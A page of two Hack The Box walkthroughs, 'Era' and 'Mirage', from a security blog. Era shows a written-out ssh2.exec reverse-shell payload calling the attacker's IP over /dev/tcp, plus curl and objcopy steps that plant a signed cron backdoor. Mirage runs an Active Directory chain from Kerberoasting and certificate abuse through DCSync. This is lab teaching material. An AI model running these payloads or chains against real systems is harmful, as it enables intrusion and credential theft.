❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Hack The Box: Era Machine Walkthrough – Medium Difficulity

✇Threatninja.net
By: darknite
29 November 2025 at 15:06
Reading Time: 16 minutes

Introduction:

In this writeup, we will explore the “Era” machine from Hack The Box, categorized as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Era” machine from Hack The Box by achieving the following objectives:

User Flag:

Initial enumeration revealed a hidden virtual host file.era.htb and a simple file-sharing web application that allowed registration and login. After creating an account, it quickly became clear that the download.php endpoint suffered from a severe Insecure Direct Object Reference (IDOR) vulnerability: any authenticated user could access any file on the platform simply by guessing its numeric ID. By fuzzing IDs 1–5000, two admin-uploaded archives were retrieved – a complete site backup containing the source code and SQLite database, and a signing.zip archive containing an SSH private key. The leaked database also exposed clear-text credentials, including eric:america. Because the ssh2 PHP extension was loaded on the server, the ssh2:// stream wrapper could be abused through the same vulnerable download endpoint.

Root Flag:

While exploring the system as eric, a root-owned executable /opt/AV/periodic-checks/monitor was discovered that runs periodically via cron (confirmed by entries in status.log). The binary performed a custom integrity check using a digital signature stored in an ELF section named .text_sig. Using objcopy, the legitimate signature was extracted from the original binary. On the attacker’s machine, a malicious statically linked reverse-shell binary (monitor_backdoor) was compiled, and the legitimate .text_sig section was injected into it with objcopy –add-section. The backdoored binary was then transferred to the target and used to overwrite the original monitor executable (the directory was world-writable). When the cron job next executed, the malicious binary ran as root and immediately connected back, delivering a root shell. The root flag was then read directly from /root/root.txt, completing the compromise.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

Nmap Output:

Analysis:

  • Port 22 (SSH): Secure Shell service for remote access.
  • Port 80 (HTTP): Web server running Apache.

Web Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

Gobuster DNS scan on era.htb finishes with no subdomains found — clean miss on the big wordlist. Time to dig deeper or move to vhost/directory brute.

Discovering the Hidden Virtual Host with ffuf

ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) — jackpot! That’s our real target. Add to /etc/hosts and move in.

ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) — jackpot! That’s our real target. Add to /etc/hosts and move in.

ffuf with -fw 4 (filter responses with exactly 4 words) nails it — file.era.htb returns 200 + 6765 bytes while everything else 302s with tiny bodies. Clear hit, that’s our hidden subdomain. Add to hosts and go!

Exploitation

Web Application Exploration:

Accessing http://era.htb shows the Era Designs homepage—a clean marketing site with navigation (Home, Services, About, Portfolio, Clients, Team, Contact) and a hero section featuring yellow vases, a white sofa, and “SUCCESS OF YOUR BUSINESS” text with a “FIND OUT MORE” button.

Burp shows a clean GET to http://era.htb → 200 OK from nginx/1.18.0 (Ubuntu). Response is a standard Bootstrap-styled marketing page titled “Era Designs” with no forms or backend endpoints – just a static landing site. Nothing juicy here.

Clean “Welcome to Era Storage!” page with four big blue buttons: Manage Files, Upload Files, Update Security Questions, and Sign In. This is the main hub of the entire app.

Very minimal registration: only two fields – Username and Password. No email, no captcha, no security questions during signup.

Forgot-password bypass: enter username and answer the three hardcoded questions (mother’s maiden name, first pet, city of birth).

Classic centred login box with Username + Password on a blue-green gradient background – the page we’re redirected to after registration.

Successful POST to /register.php → 200 OK + automatic redirect to login.php. Account creation confirmed.

After picking a new username (e.g., “dark”), registration succeeds and the app displays: “Registration successful! Redirecting to login page…” → account creation is instant and working.

POST to /login.php with username=dark&password=admin123 returns 302 Found → Location: manage.php and sets a PHPSESSID cookie. We are now authenticated as the “dark” user.

GET to /manage.php with the same PHPSESSID cookie returns 200 OK and the full HTML of the logged-in dashboard (title: “Era – Manage”).

The main post-login page “Manage Your Files & Settings” shows:

  • Left sidebar: Manage Files, Upload Files, Update Security Questions, Sign Out
  • Main area: auto-delete timer setting, empty file list (“You haven’t uploaded any files yet.”), Reset Security Questions button This is the fully authenticated user panel — our foothold is confirmed.

Malicious PHP Upload → Direct Shell

Authenticated view of /upload.php. Simple file upload form titled “Upload Files” with a “Browse…” button (currently “No files selected.”) and a blue “Upload” button. No restrictions visible on file type or size yet.

Same upload page, but now the user has selected a harmless file named dark.txt. Shows the form ready to submit — this is just confirming normal upload functionality works.

After uploading dark.txt, the app redirects to /download.php?id=6615 and shows “Your Download Is Ready!” with the filename and a download button. Key observation: files are accessed via a numericid` parameter → classic candidate for Insecure Direct Object Reference (IDOR).

After clicking “Upload”, the app displays a green “Upload Successful!” banner and immediately provides a direct download link in the format: http://file.era.htb/download.php?id=6615 This confirms uploads work and every file gets its own numeric ID — setting the stage for IDOR testing and potential privilege escalation via file access across users.

Legitimate request to http://file.era.htb/download.php?id=6615 returns the expected “Your Download Is Ready!” page with our uploaded file dark.txt. Confirms the download endpoint works normally for files we own.

Appending ?dl=true to the same request (download.php?id=6615&dl=true) bypasses the pretty download page and triggers an immediate file download:

  • Content-Type: application/octet-stream
  • Content-Disposition: attachment; filename=”dark.txt” This is extremely useful for scripting/automation because we get the raw file without HTML.

Quickly create a list of all possible numeric file IDs from 1 to 5000. This will be used for brute-forcing the id parameter in download.php to find other users’ files.

Database Leak & Credential Extraction

Final setup in Burp Intruder:

  • Target: http://file.era.htb
  • Payload position marked on the id parameter (id=6615 → id=§6615§)
  • Payload type: Numbers 1 → 5000 (simple list)
  • ?dl=true added so every hit immediately downloads the raw file instead of showing HTML Ready to launch the attack that will download every single file ever uploaded by any user on the platform.

Burp Intruder attack against download.php?id=§§&dl=true using the 1–5000 payload list. All responses are 200 OK and exactly 7969 bytes long — including our own known file. This tells us there is no authorization check at all; every single existing file ID returns the exact same response length, meaning the server happily serves any file the numeric ID points to → confirmed horizontal Insecure Direct Object Reference (IDOR).

After confirming the IDOR on download.php?id=, we generate a list of IDs 1–5000 (seq 1 5000 > num.txt) and fuzz with ffuf, injecting our authenticated cookie and filtering out responses with exactly 3161 words (the empty download page). Only two IDs survive: 54 and 150. Both return much larger responses (~2552 words), indicating real files.

Insecure Direct Object Reference (IDOR)

Accessing http://file.era.htb/download.php?id=54 reveals the filename site-backup-30-08-24.zip. This is the full source code backup of the Era file-sharing web app, uploaded by the admin.

Response headers confirm we’re downloading the raw site-backup-30-08-24.zip (2006697 bytes). The body starts with PK header (ZIP magic bytes).

Accessing http://file.era.htb/download.php?id=150 shows signing.zip. This smaller archive contains a private key and possibly a signing script – likely for code signing or authentication.

Response forces download of signing.zip (2746 bytes). This archive contains the admin’s private key (id_rsa) and a script – the golden ticket for SSH access as the admin/user.

Source Code Review – Key Vulnerabilities Exposed in the Leak

After downloading IDs 54 and 150 via IDOR, we extract both ZIPs. One is site-backup-30-08-24.zip (clearly a website backup) and the other is signing.zip.

This is the full source code of the Era web application, straight from the admin’s upload (ID 54). Key files visible during extraction:

  • download.php, upload.php, index.php – core functionality
  • filedb.sqlite – the SQLite database storing users, sessions, and file metadata
  • files/ directory – where uploaded files are stored on disk
  • functions.global.php, initial_layout.php, etc. – backend logic
  • .htaccess, login.php, logout.php – authentication flow

With this backup in hand, we now have everything:

  • Complete code review capability
  • The database (filedb.sqlite) to dump credentials or session secrets
  • Exact knowledge of how the IDOR works internally

This is the live SQLite database powering the entire Era application – straight from the admin’s site backup we downloaded via IDOR.

We’ve opened the real filedb.sqlite from the site backup and immediately listed the tables. As expected:

  • users → stores usernames, password hashes, etc.
  • files → maps numeric IDs to real filenames and owners (confirms the IDOR logic)

After extracting the site backup, we opened the leaked filedb.sqlite and dumped the users table with SELECT * FROM users;. The result reveals six accounts, including the admin (ID 1) with the bcrypt hash $2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and a fake email “Maria Oliver | Ottawa”. The other five users (eric, veronica, yuri, john, ethan) also have proper bcrypt hashes. This gives us every credential on the box in plain text (hash) form, but we don’t even need to crack anything — the signing.zip we downloaded via the same IDOR already contains the admin’s SSH private key. The database dump is just the cherry on top, confirming total information disclosure and proving the IDOR let us steal every secret the application ever had. We’re now one ssh -i id_rsa admin@file.era.htb away from both flags.

Cracking the Leaked Hashes with John the Ripper

We dumped the users table into hash.txt for cracking. It contains six bcrypt hashes, including the admin’s: admin_ef01cab31aa:$2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and the other five regular users.

John instantly cracks two weak passwords:

  • america → eric
  • mustang → yuri

The rest (including admin) remain uncracked in the short run.

Both attempts fail with Connection refused.

This confirms that only key-based authentication is allowed on the box (port 22 is open but rejects password logins entirely). The weak passwords we just cracked (america, mustang) are useless for SSH — the server is correctly hardened against password auth.

Alternative way to obtain the user flag

This is the “Update Security Questions” page from the Era web app, captured while logged in as the admin (admin_ef01cab31aa). The admin literally set all three security-question answers to admin

The server happily accepted it and responded with the green banner: “If the user exists, answers have been updated — redirecting…”

This confirms that there is no validation for security-question updates. Any logged-in user can silently overwrite anyone else’s answers (including the admin’s) without knowing the old ones. Combined with the predictable username (admin_ef01cab31aa visible in the UI), this is a second, independent path to full account takeover via the forgot-password flow.

Screenshot shows a settings panel designed for managing uploaded files and controlling their retention time. At the top, an option allows automatic deletion to be enabled, letting the user choose a specific time interval and unit before files are removed. Below the settings, the interface lists existing uploaded files, such as dark.txt, which can be selected and deleted using the Delete Selected Files button. Additional options, including returning to the home page and resetting security questions, provide quick access to important account functions. Overall, the panel centralizes file management, privacy controls, and routine account maintenance.

Screenshot shows a login fallback page that allows access through security questions instead of a password. The interface displays the username along with three predefined security questions: mother’s maiden name, first pet’s name, and city of birth. Each answer field has been filled with the value admin, suggesting that the account uses weak or predictable answers. After providing the answers, the user can click Verify and Log In to gain access. Overall, the page functions as an alternative authentication method, typically intended for account recovery when the main password is unavailable.

The auto-deletion feature is enabled, configured to remove uploaded items after 10 weeks. Two files are currently present—site-backup-30-08-24.zip and signing.zip—both of which can be selected for removal using the red action button. The sidebar on the left offers quick links for browsing files, uploading new ones, modifying security questions, and signing out of the session. Overall, the page offers a simple layout for organizing uploaded content and managing basic account settings.

FTP Enumeration (Local-Only vsFTPd – Optional Side Discovery)

Attacker logs into the target’s own vsftpd service (running on 10.10.11.79) using credentials yuri:yuri. Login succeeds instantly.

Inside the FTP session, dir shows only two directories: apache2_conf and php8.1_conf. Nothing else is present.

Inside the FTP session (logged in as yuri), the attacker runs dir in the root directory and sees only four small Apache configuration files:

  • 000-default.conf (1.3 KB)
  • apache2.conf (7 KB)
  • file.conf (222 bytes)
  • ports.conf (320 bytes)

Gaining User Shell – ssh2 Stream Wrapper RCE

After cd php8.1_conf, another dir reveals a long list of standard PHP 8.1 extension .so files (calendar.so, exif.so, ftp.so, pdo.so, phar.so, sqlite3.so, etc.). No interesting or custom files appear.

The internal vsFTPd instance is nothing more than a poorly chrooted service that accidentally exposes Apache configuration files and the real PHP extension directory. It provides zero writable paths, no sensitive data beyond what we already knew, and no escalation value. Just a nice confirmatory easter egg that the ssh2 extension is indeed loaded — but completely unnecessary for either the user or root compromise.

Screenshot reveals successful exploitation of an unrestricted file retrieval flaw on file.era.htb. Attacker submits a malicious GET request to download.php, weaponizing PHP’s ssh2.exec stream wrapper alongside command injection. Payload inside id parameter uses ssh2.exec://eric:america@127.0.0.1/ then pipes a base64-encoded reverse shell that instructs victim host to initiate connection toward attacker address 10.10.14.189 on port 9007. Flawed script directly feeds user-supplied input into readfile() or equivalent without validation. PHP detects ssh2.exec wrapper, authenticates locally via SSH as user eric using password america, executes hostile command, and returns resulting output (nearly empty) as response body. Web server replies with 200 OK and 136 bytes of data, confirming reverse shell triggered successfully. Exploit highlights classic stream-wrapper abuse transforming simple download vulnerability into complete remote code execution.

This second capture shows a polished version of the same remote code execution attack against download.php on file.era.htb. Attacker now places a cleaner payload inside the format parameter: ssh2.exec://eric:america@127.0.0.1/bash -c ‘bash -i >/dev/tcp/10.10.14.189/9007 0>&1’ followed by |base64 -d |bash. After URL decoding, PHP interprets the ssh2.exec wrapper, authenticates to localhost SSH as user eric using password america, runs the quoted reverse-shell command, decodes any remaining base64 payload if needed, and finally spawns an interactive bash session that connects back to 10.10.14.189:9007. Server returns HTTP 200 OK with a 153-byte body containing wrapper startup messages, confirming successful command execution. Compared to the previous attempt, this refined one-liner removes unnecessary encoding layers while remaining effective, proving the attacker now enjoys a stable reverse shell on the target system.

Attacker stuffs this tightly-encoded string into the format parameter:

ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%22bash%20-i%3E%26/dev/tcp/10.10.14.189/9007%200%3E%261;true%27

Once decoded, PHP sees:

ssh2.exec://eric:america@127.0.0.1/bash -c “bash -i>&/dev/tcp/10.10.14.189/9007 0>&1;true'”

Every dangerous character (< > &) appears percent-encoded, slipping past basic filters. The trailing ;true’ cleanly terminates the command and avoids breaking bash syntax. No base64 gymnastics required.

PHP dutifully opens a local SSH session as user eric with password america, runs the quoted command, and instantly redirects all shell I/O over TCP to 10.10.14.189:9007. Result: a clean, stable, fully interactive reverse shell that survives repeated use. Target machine now belongs to the attacker.

On the attack machine, netcat listens on port 9007 (nc -lvnp 9007). As soon as the final ssh2.exec payload hits download.php, the target instantly connects back from IP 10.10.11.79. Shell lands as user eric on hostname era (prompt: eric@era:~$)

Eric managed to read user.txt and obtained the flag

Escalate to Root Privileges Access

Privilege Escalation:

Eric runs sudo -l to check which sudo privileges are available. The system replies that a terminal and password are required, meaning eric has no passwordless sudo rights and cannot directly escalate using sudo.

Eric executes find / -perm 4000 2>/dev/null to hunt for SUID binaries system-wide. The command returns no results (screen stays empty), indicating no obvious SUID files exist that could be abused.

Eric navigates to /opt and runs ls. Output shows a single directory named AV. This immediately catches attention — custom software installed under /opt is a classic spot for privilege-escalation vectors on HTB machines.

Eric enters /opt/AV/periodic-checks and runs ls. Two files appear: monitor (a root-owned executable) and status.log. The presence of a root-owned binary in a writable directory strongly suggests this monitor program runs periodically as root (likely via cron) and will be the intended privilege-escalation target.

I runs strings monitor. Among normal library calls, two crucial strings appear: “[] System scan initiated…” and “[] No threats detected. Shutting down…”. These exact strings match the log entries, proving monitor is the binary executed by root during each scan.

I checks status.log in /opt/AV/periodic-checks. The log shows the monitor binary runs periodically as root, prints “[*} System scan initiated…”, then “[SUCCESS] No threats detected.” – confirming it is a scheduled root job and the real escalation target.

Custom Binary Signature Bypass

We tries to open a file called dark.c inside /dev/shm but vi fails with “command not found”. This reveals the reverse shell lacks a proper $PATH and most binaries – a common issue with raw /dev/tcp shells.

On the attacker’s local machine, the file dark.c contains a simple malicious payload: a single system() call that spawns another reverse shell back to 10.10.14.189:9007. The attacker has prepared this source code to compile and drop on the target.

On the attacker’s local machine, gcc compiles the malicious dark.c source into a statically linked binary named monitor_backdoor – a perfect drop-in replacement for the legitimate monitor program.

I uses curl http://10.10.14.189/monitor_backdoor -o monitor_backdoor to download the final backdoored binary from the attacker’s web server directly into the current directory (or /dev/shm). The transfer completes successfully (754 KB at ~1.4 MB/s).

The stage is now set: once the original monitor binary is replaced with this backdoor, the next root cron execution will instantly grant a root shell back to the attacker.

Command such as objcopy –dump-section .text_sig=sig /opt/AV/periodic-checks/monitor to extract the original monitor binary’s .text_sig section (a custom digital signature) and save it as a file called sig inside /dev/shm.

I runs objcopy –add-section .text_sig=sig monitor_backdoor, injecting the legitimate signature extracted from the real monitor into the malicious backdoored version. This preserves the signature so the root-run scanner will accept the fake binary.

To completes the attack by overwriting the legitimate monitor binary with the backdoored version: cp monitor_backdoor /opt/AV/periodic-checks/monitor The root-owned executable that runs periodically via cron is now fully replaced.

The cron job fires, executes the backdoored monitor as root, and the payload instantly triggers. Attacker catches a new reverse shell that lands directly as root@era: ~#. The box is fully compromised.

Root reads the final flag immediately after gaining the privileged shell

The post Hack The Box: Era Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

Hack The Box: Mirage Machine Walkthrough – Hard Difficulity

✇Threatninja.net
By: darknite
22 November 2025 at 09:58
Reading Time: 13 minutes

Introduction to Mirage:

In this writeup, we will explore the “Mirage” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Mirage” machine from Hack The Box by achieving the following objectives:

User Flag:

We kicked off with NFS, SMB, and Kerberos enumeration, mounted the open MirageReports share, and grabbed two internal PDFs. One revealed the missing hostname nats-svc.mirage.htb. We hijacked DNS with DNSadder.py, funneled all NATS traffic through our proxy, and snatched JetStream auth_logs messages — yielding valid credentials for david.jjackson. After syncing our clock with the DC, we scored a TGT, fired up Evil-WinRM, and landed on the domain controller as david.jjackson to claim the user flag.

Root Flag:

We started with david.jjackson’s ticket, and then kerberoasted nathan.aadam. After cracking his password, we gained his shell and subsequently discovered mark.bbond’s credentials. From there, we also retrieved the Mirage-Service$ managed password. With these pieces, we used Certipy to forge a DC01$ certificate, and as a result, we configured RBCD so mark.bbond could impersonate the domain controller. Once that was in place, we executed DCSync to dump all domain hashes, including Administrator. Finally, we obtained an Admin TGT and used Evil‑WinRM to open a shell as Administrator, which ultimately allowed us to claim the root flag.

Enumerating the Mirage Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial 10.10.11.78

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/mirage]
└──╼ $nmap -sC -sV -oA initial 10.10.11.78 
Nmap scan report for 10.10.11.78
Host is up (0.15s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-20 20:52:31Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -22m05s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-11-20T20:53:32
|_  start_date: N/A

Analysis:

  • Port 53 (DNS) – Provides internal domain resolution. Useful for discovering hostnames and performing zone transfers if misconfigured.
  • • Port 88 (Kerberos) – Active Directory authentication endpoint. Key for attacks like Kerberoasting or AS‑REP roasting.
  • • Ports 111 & 2049 (NFS) – NFS running on a Windows DC is unusual. Could allow unauthenticated mounts or expose readable files.
  • • Ports 135 / 139 / 445 (MSRPC / SMB) – Standard Windows services. SMB signing is enforced, which prevents NTLM relay attacks.
  • • Ports 389 / 636 / 3268 / 3269 (LDAP / Global Catalog) – Full AD environment. LDAP enumeration is possible if permissions are misconfigured.
  • • Port 464 (kpasswd) – Kerberos password change service. Can provide insights for password‑spray attempts.
  • • Port 593 (RPC over HTTP) – RPC over HTTP interface. Typically used for Outlook Anywhere or AD RPC proxying.

Server Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

We scanned SMB and saw the service up, but mirage.htb blocked all NTLM logins (even dark:dark failed with STATUS_NOT_SUPPORTED). Kerberos only from now on.

We added the domain/realm to /etc/krb5.conf and used -k flags everywhere — no more passwords over the wire.

NFS Share Enumeration and Mounting Process on Mirage machine

The showmount -e mirage.htb command reveals that the target is exporting an NFS share named /MirageReports, and it is accessible to everyone. This means the share does not enforce host-based restrictions, allowing any machine to mount it. Since the export is world-accessible, it’s likely a good entry point for enumeration, as you can mount the share locally and inspect its contents for sensitive files, misconfigurations, or clues leading to further access.

The mount attempt failed because the local path /mnt/mirage doesn’t exist on our machine. NFS requires a valid directory to mount a remote share, so before accessing the exported /MirageReports share, we need to create a local mount point.

Creating the directory with mkdir -p /mnt/mirage resolves the issue, allowing us to mount the share and begin enumerating its contents.

The “failed to apply fstab options” error usually comes from stale mount settings or syntax issues. Just rerun the command cleanly or add -o vers=3,nolock – it fixes the problem in HTB.

We corrected the syntax (added -o vers=3,nolock when needed) and re-ran mount -t nfs mirage.htb:/MirageReports /mnt/mirage. The share mounted perfectly and gave us full access to the internal reports.

After mounting the NFS share, ls reveals two PDFs: Incident_Report_Missing_DNS_Record_nats-svc.pdf and Mirage_Authentication_Hardening_Report.pdf. These internal reports likely expose misconfigurations and are key for further enumeration.

This command copies all files from the mounted NFS share at /mnt/mirage into your current working directory using elevated privileges. It allows you to analyze the documents locally without needing to stay connected to the NFS share.

Discovery and Analysis of Internal Reports

After copying, the files should now be available in your current working directory for further analysis.

Reviewing the Incident_Report_Missing_DNS_Record_nats-svc.pdf file revealed an additional hostname: nats-svc.mirage.htb.

Exploiting Missing DNS Entry for NATS Interception on Mirage Machine

The Incident Report showed nats-svc.mirage.htb missing from DNS → internal clients failed to resolve it. We fired up DNSadder.py, added a fake record to our proxy, and hijacked all NATS traffic → full MITM on auth and JetStream (including auth_logs).

Enumerating and Interacting With NATS JetStream

NATS is a messaging system that helps different parts of a company’s software talk to each other. Instead of applications connecting directly, they send messages through NATS, which delivers them quickly and reliably.

To install the NATS command‑line interface on Parrot OS, you can use the Go toolchain included in the system. Simply run the command go install github.com/nats-io/natscli/nats@latest, which downloads and compiles the latest version of the NATS CLI and places it in your Go binaries directory for use.

To verify that the NATS CLI installed correctly, simply run the nats command in your terminal. If the installation was successful, it should display the available subcommands and usage information, confirming that the tool is ready to use.

Checking the auth_logs Stream

nats stream info auth_logs showed a small stream (max 100 messages) on subject logs.auth that currently held 5 messages — perfect for grabbing credentials.

Creating a Pull Consumer

We created a pull consumer named whare1 on the auth_logs stream using Dev_Account_A credentials. It fetches messages one-by-one with explicit acknowledgment, allowing us to retrieve all five stored authentication logs.

Grabbing the Credentials

We fetched the five messages from the auth_logs stream using our whare1 consumer. Every message (subject logs.auth) contained the same authentication event:

  • Username: david.jjackson
  • Password: pN8kQmn6b86!1234@
  • Source IP: 10.10.10.20

All messages were acknowledged and consumed successfully, confirming we now have valid domain credentials.

Extracting Credentials and Kerberos Ticket Operations

The leaked david.jjackson:pN8kQmn6b86!1234@ credentials let us request a Kerberos TGT with impacket-getTGT. The first try failed due to clock skew; after sudo ntpdate -s 10.10.11.78, the second attempt succeeded and saved david.jjackson.ccache

Initial Foothold – david.jjackson Access on Mirage Machine

After syncing time with sudo ntpdate -s 10.10.11.78, the second impacket-getTGT run succeeded and gave us a valid TGT.

This command sets the KRB5CCNAME environment variable to use the david.jjackson.ccache file as the active Kerberos ticket. It tells all Kerberos‑aware tools to use this ticket automatically for authentication instead of a password.

Try running the command again if it doesn’t work on the first attempt.

Lateral Movement Using Cracked SPN Credentials

With david.jjackson’s ticket, we ran impacket-GetUserSPNs -k -no-pass and discovered a crackable Kerberos service ticket ($krb5tgs$23$) for the SPN HTTP/exchange.mirage.htb, belonging to the high-privileged user nathan.aadam (member of Exchange_Admins group).

Cracking the TGS → Password: 3edc#EDC3

We cracked the TGS hash using John and the RockYou wordlist, recovering the password 3edc#EDC3 for nathan.aadam — a weak credential that immediately granted us access to this Exchange Admins group member.

BloodHound Collection and Domain Enumeration on Mirage machine

As nathan.aadam, we ran BloodHound and dumped the entire Active Directory structure for privilege escalation path hunting.

Mark.bbond is a member of the IT Support group, and he has the ForceChangePassword privilege over the user javier.mmarshall.

Javier.mmarshall has ReadGMSAPassword permission on the account Mirage-Service$.

nxc smb dc01.mirage.htb with nathan.aadam initially failed due to clock skew (krb_ap_err_skew). After syncing time again (ntpdate -s 10.10.11.78), authentication succeeded cleanly.

Same clock skew issue hit nxc smb. After ntpdate -s 10.10.11.78, it worked instantly and confirmed valid access as nathan.aadam : 3edc#EDC3 on the DC.

We used the cracked password 3edc#EDC3 to obtain a Kerberos TGT for nathan.aadam (impacket-getTGT). The ticket was saved as nathan.aadam.ccache, giving us full Kerberos access for the next steps

Accessing the DC as nathan.aadam

Connected instantly as nathan.aadam → full PowerShell access on the Domain Controller.

Grabbing the User Flag

We can read the user flag by typing the “type user.txt” command

Escalate to Root Privileges Access on Mirage Machine

Privilege Escalation Attempts and LogonHours Analysis

A screen shot of a computer AI-generated content may be incorrect.

We checked AD LogonHours. javier.mmarshall had all zeroes → account completely locked out (can’t log in anytime). This hinted the account was disabled but still present for potential abuse.

A screen shot of a computer AI-generated content may be incorrect.

No default password was detected.

You can transfer the WinPEAS executable to the compromised host by running the upload command inside your Evil‑WinRM session. This pushes the file from your attack machine directly into the victim’s system, allowing you to execute it afterwards for privilege‑escalation enumeration.

No usable credentials were identified.

This command verifies SMB access on dc01.mirage.htb using Kerberos authentication with the mark.bbond credentials. The scan shows the host details and confirms a successful login, indicating that the provided password is valid and SMB authentication for this account works correctly.

The command requests a Kerberos TGT for the user MARK.BBOND using the discovered password 1day@atime. By specifying the domain controller IP, the tool authenticates against the DC and generates a valid ticket. Once successful, the resulting Kerberos ticket is saved locally as MARK.BBOND.ccache for use in later Kerberos‑based operations.

Password Resets, Kerberos Tickets, and Service Account Abuse

A password reset for the account javier.mmarshall was performed using bloodyAD. By authenticating as mark.bbond with Kerberos (-k) and supplying valid domain credentials, the command successfully updated the user’s password to p@ssw0rd123, confirming the operation completed without issues.

Attempting to obtain a TGT for the account javier.mmarshall with impacket-getTGT results in a KDC_ERR_CLIENT_REVOKED error. This indicates the credentials are no longer valid because the account has been disabled or otherwise revoked in Active Directory, preventing any Kerberos authentication from succeeding.

Enabling javier.mmarshall (disabled account)

By running the command shown above, the password update completed successfully.

A screenshot of a computer screen AI-generated content may be incorrect.

As mark.bbond, we used BloodyAD to read the msDS-ManagedPassword attribute of the Mirage-Service$ managed service account and instantly retrieved its current plaintext password + NTLM hash.

We used Impacket to request a Kerberos TGT for Mirage-Service$ with its leaked NTLM hash (pass-the-hash). This gave us a valid ticket without ever needing the plaintext password.

We asked the domain CA for a certificate using mark.bbond (now pretending to be dc01$). The CA accepted it and gave us a shiny dc01.pfx file that lets us log in as the real domain controller machine account.

After exporting the Kerberos ticket with export KRB5CCNAME=mark.bbond.ccache, a certificate request is made using Certipy


We requested a certificate for mark.bbond (UPN = dc01$@mirage.htb). The CA issued it without issues → dc01.pfx ready for authentication as the DC machine account.

We cleaned up by resetting mark.bbond’s UPN back to mark.bbond@mirage.htb with Certipy – leaving no obvious traces.

Certificate Abuse and Resource-Based Constrained Delegation (RBCD)

With the dc01.pfx certificate, Certipy authenticated us over LDAPS as MIRAGE\DC01$ – we now had full LDAP control as the domain controller itself.

We used Certipy to grant mark.bbond Resource-Based Constrained Delegation over DC01$ – now mark.bbond can impersonate anyone (including Administrator) to the domain controller.

As mark.bbond, we ran impacket-getST to impersonate DC01$ and request a CIFS ticket for the real DC. Delegation succeeded → valid ticket saved.

The Kerberos ticket was set as the active credential cache by exporting it to the KRB5CCNAME environment variable:

export KRB5CCNAME=DC01$@<a>CIFS_dc01.mirage.htb@MIRAGE.HTB.ccache</a>

With the delegated CIFS ticket, we executed impacket-secretdump -k dc01.mirage.htb and successfully dumped the entire NTDS.DIT — every user and machine hash, including Administrator’s, was now ours.

The impacket-getTGT command was executed using the Administrator NTLM hash to request a Kerberos TGT from the Mirage domain controller. The request completed successfully, and the resulting ticket was saved locally as Administrator.ccache.

